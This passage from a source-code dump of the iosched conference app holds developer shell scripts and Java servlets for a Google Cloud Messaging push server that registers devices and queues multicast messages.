COMMENT_LICENSE.search(comment) is None: continue if COMMENT_COPYRIGHT.search(comment) is None: continue find_license(comment).add_file(filename) for source in SOURCE: for root, dirs, files in os.walk(source): for name in files: discover_license(os.path.join(root, name), name) print "<html><head><style> body { font-family: sans-serif; } pre { background-color: #eeeeee; padding: 1em; white-space: pre-wrap; } </style></head><body>" for license in KNOWN_LICENSES.values(): print "<h3>Notices for files:</h3><ul>" filenames = license.filenames filenames.sort() for filename in filenames: print "<li>%s</li>" % (filename) print "</ul>" print "<pre>%s</pre>" % license.license_text print "</body></html>"
zzc88915-iosched
scripts/collect_licenses.py
Python
asf20
3,190
#!/bin/sh # Remember VERBOSE only works on debug builds of the app adb shell setprop log.tag.iosched_SyncHelper VERBOSE adb shell setprop log.tag.iosched_SessionsHandler VERBOSE adb shell setprop log.tag.iosched_BitmapCache VERBOSE
zzc88915-iosched
scripts/increase_verbosity.sh
Shell
asf20
232
#!/bin/sh if [[ -z $ADB ]]; then ADB=adb; fi $ADB shell "echo '$*' | sqlite3 -header -column /data/data/com.google.android.apps.iosched/databases/schedule.db"
zzc88915-iosched
scripts/dbquery.sh
Shell
asf20
158
#!/bin/sh # Sessions list #adb shell am start -a android.intent.action.VIEW -d content://com.google.android.apps.iosched/tracks/android/sessions # Vendors list #adb shell am start -a android.intent.action.VIEW -d content://com.google.android.apps.iosched/tracks/android/vendors # Session detail #adb shell am start -a android.intent.action.VIEW -d content://com.google.android.apps.iosched/sessions/honeycombhighlights # Vendor detail #adb shell am start -a android.intent.action.VIEW -d content://com.google.android.apps.iosched/vendors/bestbuy # Track details #adb shell am start -a android.intent.action.VIEW -d content://com.google.android.apps.iosched/tracks/chrome
zzc88915-iosched
scripts/deeplinks.sh
Shell
asf20
676
<html> <body> <h2>Push request could not be queued!</h2> </body> </html>
zzc88915-iosched
gcm-server/src/main/webapp/error.html
HTML
asf20
72
<html> <body> <h2>Push request queued successfully!</h2> </body> </html>
zzc88915-iosched
gcm-server/src/main/webapp/success.html
HTML
asf20
72
/** * Copyright 2012 Google * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.gcm.server.api; import com.google.android.apps.iosched.gcm.server.BaseServlet; import com.google.android.apps.iosched.gcm.server.db.DeviceStore; import com.google.android.apps.iosched.gcm.server.db.models.Device; import com.google.android.apps.iosched.gcm.server.device.MessageSender; import java.io.IOException; import java.io.PrintWriter; import java.util.List; import java.util.logging.Logger; import javax.servlet.ServletInputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** Send message to all registered devices */ @SuppressWarnings("serial") public class SendMessageServlet extends BaseServlet { private static final Logger LOG = Logger.getLogger(SendMessageServlet.class.getName()); /** Authentication key for incoming message requests */ private static final String[][] AUTHORIZED_KEYS = { {"YOUR_API_KEYS_HERE", "developers.google.com"}, {"YOUR_API_KEYS_HERE", "googleapis.com/googledevelopers"}, {"YOUR_API_KEYS_HERE", "Device Key"} }; @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException { // Authenticate request String authKey = null; String authHeader = req.getHeader("Authorization"); String squelch = null; if (authHeader != null) { // Use 'Authorization: key=...' header String splitHeader[] = authHeader.split("="); if ("key".equals(splitHeader[0])) { authKey = splitHeader[1]; } } if (authKey == null) { // Valid auth key not found. Check for 'key' query parameter. // Note: This is included for WebHooks support, but will consume message body! authKey = req.getParameter("key"); squelch = req.getParameter("squelch"); } String authorizedUser = null; for (String[] candidateKey : AUTHORIZED_KEYS) { if (candidateKey[0].equals(authKey)) { authorizedUser = candidateKey[1]; break; } } if (authorizedUser == null) { send(resp, 403, "Not authorized"); return; } // Extract URL components String result = req.getPathInfo(); if (result == null) { send(resp, 400, "Bad request (check request format)"); return; } String[] components = result.split("/"); if (components.length != 3) { send(resp, 400, "Bad request (check request format)"); return; } String target = components[1]; String action = components[2]; // Extract extraData String payload = readBody(req); // Override: add jitter for server update requests // if ("sync_schedule".equals(action)) { // payload = "{ \"sync_jitter\": 21600000 }"; // } // Request decoding complete. Log request parameters LOG.info("Authorized User: " + authorizedUser + "\nTarget: " + target + "\nAction: " + action + "\nSquelch: " + (squelch != null ? squelch : "null") + "\nExtra Data: " + payload); // Send broadcast message MessageSender sender = new MessageSender(getServletConfig()); if ("global".equals(target)) { List<Device> allDevices = DeviceStore.getAllDevices(); if (allDevices == null || allDevices.isEmpty()) { send(resp, 404, "No devices registered"); } else { int resultCount = allDevices.size(); LOG.info("Selected " + resultCount + " devices"); sender.multicastSend(allDevices, action, squelch, payload); send(resp, 200, "Message queued: " + resultCount + " devices"); } } else { // Send message to one device List<Device> userDevices = DeviceStore.findDevicesByGPlusId(target); if (userDevices == null || userDevices.isEmpty()) { send(resp, 404, "User not found"); } else { int resultCount = userDevices.size(); LOG.info("Selected " + resultCount + " devices"); sender.multicastSend(userDevices, action, squelch, payload); send(resp, 200, "Message queued: " + resultCount + " devices"); } } } private String readBody(HttpServletRequest req) throws IOException { ServletInputStream inputStream = req.getInputStream(); java.util.Scanner s = new java.util.Scanner(inputStream).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } private static void send(HttpServletResponse resp, int status, String body) throws IOException { if (status >= 400) { LOG.warning(body); } else { LOG.info(body); } // Prevent frame hijacking resp.addHeader("X-FRAME-OPTIONS", "DENY"); // Write response data resp.setContentType("text/plain"); PrintWriter out = resp.getWriter(); out.print(body); resp.setStatus(status); } }
zzc88915-iosched
gcm-server/src/main/java/com/google/android/apps/iosched/gcm/server/api/SendMessageServlet.java
Java
asf20
5,904
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.gcm.server.db.models; import com.googlecode.objectify.Key; import com.googlecode.objectify.annotation.Entity; import com.googlecode.objectify.annotation.Id; import java.util.List; @Entity public class MulticastMessage { @Id private Long id; private String action; private String extraData; private List<String> destinations; public Key<MulticastMessage> getKey() { return Key.create(MulticastMessage.class, id); } public Long getId() { return id; } public String getAction() { return action; } public void setAction(String action) { this.action = action; } public String getExtraData() { return extraData; } public void setExtraData(String extraData) { this.extraData = extraData; } public List<String> getDestinations() { return destinations; } public void setDestinations(List<String> destinations) { this.destinations = destinations; } }
zzc88915-iosched
gcm-server/src/main/java/com/google/android/apps/iosched/gcm/server/db/models/MulticastMessage.java
Java
asf20
1,629
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.gcm.server.db.models; import com.googlecode.objectify.annotation.Entity; import com.googlecode.objectify.annotation.Id; import com.googlecode.objectify.annotation.Index; @Entity public class Device { @Id private String gcmId; @Index private String gPlusId; public String getGcmId() { return gcmId; } public void setGcmId(String gcmId) { this.gcmId = gcmId; } public String getGPlusId () { return gPlusId; } public void setGPlusId(String gPlusId) { this.gPlusId = gPlusId; } }
zzc88915-iosched
gcm-server/src/main/java/com/google/android/apps/iosched/gcm/server/db/models/Device.java
Java
asf20
1,186
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.gcm.server.db; import com.google.android.apps.iosched.gcm.server.db.models.Device; import javax.persistence.EntityManager; import javax.persistence.NoResultException; import javax.persistence.Query; import java.util.List; import java.util.logging.Logger; import static com.google.android.apps.iosched.gcm.server.db.OfyService.ofy; public class DeviceStore { private static final Logger LOG = Logger.getLogger(DeviceStore.class.getName()); /** * Registers a device. * * @param gcmId device's registration id. */ public static void register(String gcmId, String gPlusId) { LOG.info("Registering device.\nG+ ID: " + gPlusId + "\nGCM ID: " + gcmId); Device oldDevice = findDeviceByGcmId(gcmId); if (oldDevice == null) { // Existing device not found (as expected) Device newDevice = new Device(); newDevice.setGcmId(gcmId); newDevice.setGPlusId(gPlusId); ofy().save().entity(newDevice); } else { // Existing device found LOG.warning(gcmId + " is already registered"); if (!gPlusId.equals(oldDevice.getGPlusId())) { LOG.info("gPlusId has changed from '" + oldDevice.getGPlusId() + "' to '" + gPlusId + "'"); oldDevice.setGPlusId(gPlusId); ofy().save().entity(oldDevice); } } } /** * Unregisters a device. * * @param gcmId device's registration id. */ public static void unregister(String gcmId) { Device device = findDeviceByGcmId(gcmId); if (device == null) { LOG.warning("Device " + gcmId + " already unregistered"); return; } LOG.info("Unregistering " + gcmId); ofy().delete().entity(device); } /** * Updates the registration id of a device. */ public static void updateRegistration(String oldGcmId, String newGcmId) { LOG.info("Updating " + oldGcmId + " to " + newGcmId); Device oldDevice = findDeviceByGcmId(oldGcmId); if (oldDevice == null) { LOG.warning("No device for registration id " + oldGcmId); return; } // Device exists. Since we use the GCM key as the (immutable) primary key, // we must create a new entity. Device newDevice = new Device(); newDevice.setGcmId(newGcmId); newDevice.setGPlusId(oldDevice.getGPlusId()); ofy().save().entity(newDevice); ofy().delete().entity(oldDevice); } /** * Gets registered device count. */ public static int getDeviceCount() { return ofy().load().type(Device.class).count(); } public static List<Device> getAllDevices() { return ofy().load().type(Device.class).list(); } public static Device findDeviceByGcmId(String regId) { return ofy().load().type(Device.class).id(regId).get(); } public static List<Device> findDevicesByGPlusId(String target) { return ofy().load().type(Device.class).filter("gPlusId", target).list(); } }
zzc88915-iosched
gcm-server/src/main/java/com/google/android/apps/iosched/gcm/server/db/DeviceStore.java
Java
asf20
3,776
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.gcm.server.db; import com.google.android.apps.iosched.gcm.server.db.models.MulticastMessage; import java.util.List; import java.util.logging.Logger; import static com.google.android.apps.iosched.gcm.server.db.OfyService.ofy; /** * Simple implementation of a data store using standard Java collections. * <p> * This class is neither persistent (it will lost the data when the app is * restarted) nor thread safe. */ public final class MessageStore { private static final Logger LOG = Logger.getLogger(MessageStore.class.getName()); private MessageStore() { throw new UnsupportedOperationException(); } /** * Creates a persistent record with the devices to be notified using a * multicast message. * * @param devices registration ids of the devices * @param type message type * @param extraData additional message payload * @return ID for the persistent record */ public static Long createMulticast(List<String> devices, String type, String extraData) { LOG.info("Storing multicast for " + devices.size() + " devices. (type=" + type + ")"); MulticastMessage msg = new MulticastMessage(); msg.setDestinations(devices); msg.setAction(type); msg.setExtraData(extraData); ofy().save().entity(msg).now(); Long id = msg.getId(); LOG.fine("Multicast ID: " + id); return id; } /** * Gets a persistent record with the devices to be notified using a * multicast message. * * @param id ID for the persistent record */ public static MulticastMessage getMulticast(Long id) { return ofy().load().type(MulticastMessage.class).id(id).get(); } /** * Updates a persistent record with the devices to be notified using a * multicast message. * * @param id ID for the persistent record. * @param devices new list of registration ids of the devices. */ public static void updateMulticast(Long id, List<String> devices) { MulticastMessage msg = ofy().load().type(MulticastMessage.class).id(id).get(); if (msg == null) { LOG.severe("No entity for multicast ID: " + id); return; } msg.setDestinations(devices); ofy().save().entity(msg); } /** * Deletes a persistent record with the devices to be notified using a * multicast message. * * @param id ID for the persistent record. */ public static void deleteMulticast(Long id) { ofy().delete().type(MulticastMessage.class).id(id); } }
zzc88915-iosched
gcm-server/src/main/java/com/google/android/apps/iosched/gcm/server/db/MessageStore.java
Java
asf20
3,324
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.gcm.server.db; import com.google.android.apps.iosched.gcm.server.db.models.Device; import com.google.android.apps.iosched.gcm.server.db.models.MulticastMessage; import com.googlecode.objectify.Objectify; import com.googlecode.objectify.ObjectifyFactory; import com.googlecode.objectify.ObjectifyService; /** Static initializer for Objectify ORM service. * * <p>To use this class: com.google.android.apps.iosched.gcm.server.db.OfyService.ofy; * * <p>This is responsible for registering model classes with Objectify before any references * access to the ObjectifyService takes place. All models *must* be registered here, as Objectify * doesn't do classpath scanning (by design). */ public class OfyService { static { factory().register(Device.class); factory().register(MulticastMessage.class); } public static Objectify ofy() { return ObjectifyService.ofy(); } public static ObjectifyFactory factory() { return ObjectifyService.factory(); } }
zzc88915-iosched
gcm-server/src/main/java/com/google/android/apps/iosched/gcm/server/db/OfyService.java
Java
asf20
1,642
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.gcm.server.db; import java.util.logging.Logger; import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; import com.google.appengine.api.datastore.DatastoreServiceFactory; import com.google.appengine.api.datastore.Entity; import com.google.appengine.api.datastore.EntityNotFoundException; import com.google.appengine.api.datastore.Key; import com.google.appengine.api.datastore.KeyFactory; import com.google.appengine.api.datastore.DatastoreService; /** * Context initializer that loads the API key from a * {@value #PATH} file located in the classpath (typically under * {@code WEB-INF/classes}). */ public class ApiKeyInitializer implements ServletContextListener { public static final String API_KEY = "<ENTER_YOUR_KEY>"; public static final String ATTRIBUTE_ACCESS_KEY = "apiKey"; private static final String ENTITY_KIND = "Settings"; private static final String ENTITY_KEY = "MyKey"; private static final String ACCESS_KEY_FIELD = "ApiKey"; private final Logger mLogger = Logger.getLogger(getClass().getName()); @Override public void contextInitialized(ServletContextEvent event) { DatastoreService datastore = DatastoreServiceFactory.getDatastoreService(); Key key = KeyFactory.createKey(ENTITY_KIND, ENTITY_KEY); Entity entity; try { entity = datastore.get(key); } catch(EntityNotFoundException e) { entity = new Entity(key); // NOTE: it's not possible to change entities in the local server, so // it will be necessary to hardcode the API key below if you are running // it locally. entity.setProperty(ACCESS_KEY_FIELD, API_KEY); datastore.put(entity); mLogger.severe("Created fake key. Please go to App Engine admin " + "console, change its value to your API Key (the entity " + "type is '" + ENTITY_KIND + "' and its field to be changed is '" + ACCESS_KEY_FIELD + "'), then restart the server!"); } String accessKey = (String) entity.getProperty(ACCESS_KEY_FIELD); event.getServletContext().setAttribute(ATTRIBUTE_ACCESS_KEY, accessKey); } /** * Gets the access key. */ protected String getKey() { com.google.appengine.api.datastore.DatastoreService datastore = DatastoreServiceFactory .getDatastoreService(); Key key = KeyFactory.createKey(ENTITY_KIND, ENTITY_KEY); String apiKey = ""; try { Entity entity = datastore.get(key); apiKey = (String) entity.getProperty(ACCESS_KEY_FIELD); } catch (EntityNotFoundException e) { mLogger.severe("Exception will retrieving the API Key" + e.toString()); } return apiKey; } @Override public void contextDestroyed(ServletContextEvent event) { } }
zzc88915-iosched
gcm-server/src/main/java/com/google/android/apps/iosched/gcm/server/db/ApiKeyInitializer.java
Java
asf20
3,600
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.gcm.server.cron; import com.google.android.apps.iosched.gcm.server.BaseServlet; import com.google.android.apps.iosched.gcm.server.db.DeviceStore; import java.io.IOException; import java.io.PrintWriter; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @SuppressWarnings("serial") public class VacuumDbServlet extends BaseServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { resp.setContentType("text/html"); resp.addHeader("X-FRAME-OPTIONS", "DENY"); // Print "OK" message PrintWriter out = resp.getWriter(); out.print("OK"); resp.setStatus(HttpServletResponse.SC_OK); } }
zzc88915-iosched
gcm-server/src/main/java/com/google/android/apps/iosched/gcm/server/cron/VacuumDbServlet.java
Java
asf20
1,388
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.gcm.server.admin; import com.google.android.apps.iosched.gcm.server.BaseServlet; import com.google.android.apps.iosched.gcm.server.db.DeviceStore; import java.io.IOException; import java.io.PrintWriter; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @SuppressWarnings("serial") public class AdminServlet extends BaseServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { resp.setContentType("text/html"); PrintWriter out = resp.getWriter(); out.print("<html><body>"); out.print("<head><title>IOSched GCM Server</title>"); out.print("</head>"); String status = (String) req.getAttribute("status"); if (status != null) { out.print(status); } out.print("</body></html>"); out.print("<h2>" + DeviceStore.getDeviceCount() + " device(s) registered!</h2>"); out.print("<form method='POST' action='/scheduleupdate'>"); out.print("<table>"); out.print("<tr>"); out.print("<td>Key:</td>"); out.print("<td><input type='password' name='key' size='80'/></td>"); out.print("</tr>"); out.print("<tr>"); out.print("<td>Announcement:</td>"); out.print("<td><input type='text' name='announcement' size='80'/></td>"); out.print("</tr>"); out.print("</table>"); out.print("<br/>"); out.print("<input type='submit' value='Send Message' />"); out.print("</form>"); resp.addHeader("X-FRAME-OPTIONS", "DENY"); resp.setStatus(HttpServletResponse.SC_OK); } }
zzc88915-iosched
gcm-server/src/main/java/com/google/android/apps/iosched/gcm/server/admin/AdminServlet.java
Java
asf20
2,320
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.gcm.server.device; import com.google.android.apps.iosched.gcm.server.BaseServlet; import com.google.android.apps.iosched.gcm.server.db.MessageStore; import javax.servlet.ServletConfig; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * Servlet that adds a new message and notifies all registered devices. * * <p>This class should not be called directly. Instead, it's used as a helper * for the SendMessage task queue. */ @SuppressWarnings("serial") public class MulticastQueueWorker extends BaseServlet { private MessageSender mSender; @Override public void init(ServletConfig config) throws ServletException { super.init(config); mSender = new MessageSender(config); } /** * Processes the request to add a new message. */ @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) { Long multicastId = new Long(req.getParameter("multicastKey")); boolean success = mSender.sendMessage(multicastId); if (success) { taskDone(resp, multicastId); } else { retryTask(resp); } } /** * Indicates to App Engine that this task should be retried. */ private void retryTask(HttpServletResponse resp) { resp.setStatus(500); } /** * Indicates to App Engine that this task is done. */ private void taskDone(HttpServletResponse resp, Long multicastId) { MessageStore.deleteMulticast(multicastId); resp.setStatus(200); } }
zzc88915-iosched
gcm-server/src/main/java/com/google/android/apps/iosched/gcm/server/device/MulticastQueueWorker.java
Java
asf20
2,253
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.gcm.server.device; import com.google.android.apps.iosched.gcm.server.BaseServlet; import com.google.android.apps.iosched.gcm.server.db.DeviceStore; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * Servlet that unregisters a device, whose registration id is identified by * {@link #PARAMETER_REG_ID}. * <p> * The client app should call this servlet everytime it receives a * {@code com.google.android.c2dm.intent.REGISTRATION} with an * {@code unregistered} extra. */ @SuppressWarnings("serial") public class UnregisterServlet extends BaseServlet { private static final String PARAMETER_REG_ID = "gcm_id"; @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException { String regId = getParameter(req, PARAMETER_REG_ID); DeviceStore.unregister(regId); setSuccess(resp); } }
zzc88915-iosched
gcm-server/src/main/java/com/google/android/apps/iosched/gcm/server/device/UnregisterServlet.java
Java
asf20
1,603
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.gcm.server.device; import com.google.android.apps.iosched.gcm.server.db.ApiKeyInitializer; import com.google.android.apps.iosched.gcm.server.db.MessageStore; import com.google.android.apps.iosched.gcm.server.db.DeviceStore; import com.google.android.apps.iosched.gcm.server.db.models.Device; import com.google.android.apps.iosched.gcm.server.db.models.MulticastMessage; import com.google.android.gcm.server.*; import com.google.appengine.api.taskqueue.Queue; import com.google.appengine.api.taskqueue.QueueFactory; import com.google.appengine.api.taskqueue.TaskOptions; import javax.servlet.ServletConfig; import java.io.IOException; import java.util.ArrayList; import java.util.List; import java.util.concurrent.TimeUnit; import java.util.logging.Level; import java.util.logging.Logger; /** Utility class for sending individual messages to devices. * * This class is responsible for communication with the GCM server for purposes of sending * messages. * * @return true if success, false if */ public class MessageSender { private String mApiKey; private Sender mGcmService; private static final int TTL = (int) TimeUnit.MINUTES.toSeconds(300); protected final Logger mLogger = Logger.getLogger(getClass().getName()); /** Maximum devices in a multicast message */ private static final int MAX_DEVICES = 1000; public MessageSender(ServletConfig config) { mApiKey = (String) config.getServletContext().getAttribute( ApiKeyInitializer.ATTRIBUTE_ACCESS_KEY); mGcmService = new Sender(mApiKey); } public void multicastSend(List<Device> devices, String action, String squelch, String extraData) { Queue queue = QueueFactory.getQueue("MulticastMessagesQueue"); // Split messages into batches for multicast // GCM limits maximum devices per multicast request. AppEngine also limits the size of // lists stored in the datastore. int total = devices.size(); List<String> partialDevices = new ArrayList<String>(total); int counter = 0; for (Device device : devices) { counter ++; // If squelch is set, device is the originator of this message, // and has asked us to squelch itself. This prevents message echos. if (!device.getGcmId().equals(squelch)) { // Device not squelched. partialDevices.add(device.getGcmId()); } int partialSize = partialDevices.size(); if (partialSize == MAX_DEVICES || counter == total) { // Send multicast message Long multicastKey = MessageStore.createMulticast(partialDevices, action, extraData); mLogger.fine("Queuing " + partialSize + " devices on multicast " + multicastKey); TaskOptions taskOptions = TaskOptions.Builder .withUrl("/queue/send") .param("multicastKey", Long.toString(multicastKey)) .method(TaskOptions.Method.POST); queue.add(taskOptions); partialDevices.clear(); } } mLogger.fine("Queued message to " + total + " devices"); } boolean sendMessage(Long multicastId) { MulticastMessage msg = MessageStore.getMulticast(multicastId); List<String> devices = msg.getDestinations(); String action = msg.getAction(); Message.Builder builder = new Message.Builder().delayWhileIdle(true); if (action == null || action.length() == 0) { throw new IllegalArgumentException("Message action cannot be empty."); } builder.collapseKey(action) .addData("action", action) .addData("extraData", msg.getExtraData()) .timeToLive(TTL); Message message = builder.build(); MulticastResult multicastResult = null; try { // TODO(trevorjohns): We occasionally see null messages. (Maybe due to squelch?) // We should these from entering the send queue in the first place. In the meantime, // here's a hack to prevent this. if (devices != null) { multicastResult = mGcmService.sendNoRetry(message, devices); mLogger.info("Result: " + multicastResult); } else { mLogger.info("Null device list detected. Aborting."); return true; } } catch (IOException e) { mLogger.log(Level.SEVERE, "Exception posting " + message, e); return true; } boolean allDone = true; // check if any registration id must be updated if (multicastResult.getCanonicalIds() != 0) { List<Result> results = multicastResult.getResults(); for (int i = 0; i < results.size(); i++) { String canonicalRegId = results.get(i).getCanonicalRegistrationId(); if (canonicalRegId != null) { String regId = devices.get(i); DeviceStore.updateRegistration(regId, canonicalRegId); } } } if (multicastResult.getFailure() != 0) { // there were failures, check if any could be retried List<Result> results = multicastResult.getResults(); List<String> retriableRegIds = new ArrayList<String>(); for (int i = 0; i < results.size(); i++) { String error = results.get(i).getErrorCodeName(); if (error != null) { String regId = devices.get(i); mLogger.warning("Got error (" + error + ") for regId " + regId); if (error.equals(Constants.ERROR_NOT_REGISTERED)) { // application has been removed from device - unregister it DeviceStore.unregister(regId); } if (error.equals(Constants.ERROR_UNAVAILABLE)) { retriableRegIds.add(regId); } } } if (!retriableRegIds.isEmpty()) { // update task MessageStore.updateMulticast(multicastId, retriableRegIds); allDone = false; return false; } } if (allDone) { return true; } else { return false; } } }
zzc88915-iosched
gcm-server/src/main/java/com/google/android/apps/iosched/gcm/server/device/MessageSender.java
Java
asf20
7,206
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.gcm.server.device; import com.google.android.apps.iosched.gcm.server.BaseServlet; import com.google.android.apps.iosched.gcm.server.db.DeviceStore; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * Servlet that registers a device, whose registration id is identified by * {@link #PARAMETER_REG_ID}. * * <p> * The client app should call this servlet everytime it receives a * {@code com.google.android.c2dm.intent.REGISTRATION C2DM} intent without an * error or {@code unregistered} extra. */ @SuppressWarnings("serial") public class RegisterServlet extends BaseServlet { private static final String PARAMETER_REG_ID = "gcm_id"; private static final String PARAMETER_USER_ID = "gplus_id"; @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException { String gcmId = getParameter(req, PARAMETER_REG_ID); String gPlusId = getParameter(req, PARAMETER_USER_ID); DeviceStore.register(gcmId, gPlusId); setSuccess(resp); } }
zzc88915-iosched
gcm-server/src/main/java/com/google/android/apps/iosched/gcm/server/device/RegisterServlet.java
Java
asf20
1,728
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.gcm.server; import com.google.appengine.api.users.User; import com.google.appengine.api.users.UserService; import com.google.appengine.api.users.UserServiceFactory; import java.io.IOException; import java.util.Enumeration; import java.util.logging.Logger; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * Skeleton class for all servlets in this package. * * <p>Provides extra logging information when running in debug mode. */ @SuppressWarnings("serial") public abstract class BaseServlet extends HttpServlet { // change to true to allow GET calls static final boolean DEBUG = true; protected final Logger logger = Logger.getLogger(getClass().getName()); @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException, ServletException { if (DEBUG) { doPost(req, resp); } else { super.doGet(req, resp); } } protected String getParameter(HttpServletRequest req, String parameter) throws ServletException { String value = req.getParameter(parameter); if (value == null || value.trim().isEmpty()) { if (DEBUG) { StringBuilder parameters = new StringBuilder(); @SuppressWarnings("unchecked") Enumeration<String> names = req.getParameterNames(); while (names.hasMoreElements()) { String name = names.nextElement(); String param = req.getParameter(name); 